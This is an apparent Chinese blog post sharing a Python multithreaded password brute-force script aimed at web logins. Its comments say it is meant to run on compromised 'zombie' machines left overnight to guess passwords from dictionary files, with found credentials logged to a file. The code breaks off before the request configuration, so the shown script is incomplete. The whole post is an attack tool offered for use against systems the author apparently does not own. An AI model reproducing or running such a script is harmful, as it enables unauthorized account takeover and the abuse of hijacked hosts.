如下
# -*- coding: utf-8 -*-
'''
肉机爆破密码脚本
由于是面向肉机的脚本,所以牺牲了一些速度,增加了准确性
程序挂肉机上然后去睡觉等结果嘛
从这里复制了代码:https://blog.csdn.net/tempulcc/article/details/108323499
对于没pip的机器,可把模块打包成zip,上传的机器上用unzip解压
需要自行配置请求数据包,数据包信息位于:brutepwd.brute
'''
import threading
import queue
import sys,os
import requests
import time
try:
color=0
from core.color import *
color=1
except:
pass
print('it has started,please wait...')
time1=time.time()
unames=r'' #用户名字典位置
passwords=r"merged.txt" #密码字典位置
thread_num=100 #线程数
timeouts=100 #对于发送失败的数据包重新尝试几次
#your_email='' #你的邮箱地址
pswd_err_content=68 #密码错误时返回包的len
def send_email(value):
global time1
time2=time.time()
with open('satori_s_password_HereHereHereHereHere.txt','a') as f:
f.write(value + '\n')
f.write('time:'+ str(time2-time1) + '\n')
class brutepwd(threading.Thread):
def __init__(self,q,ss):
threading.Thread.__init__(self)
self.__queue=q
self.__session=ss
def run(self):
while not self.__queue.empty():
pwd=self.__queue.get()
ss=self.__session
self.brute(pwd,ss)
def brute(self,pwd,session,uname='admin'):
print('\r'+pwd,end='\r')
global pswd_err_content
timeout_bool=True
res=None
###数据包信息请自行配置
标签:web,爆破,python,22%,3A%,ss,pwd,time,self
From: https://www.cnblogs.com/sesmof/p/18171214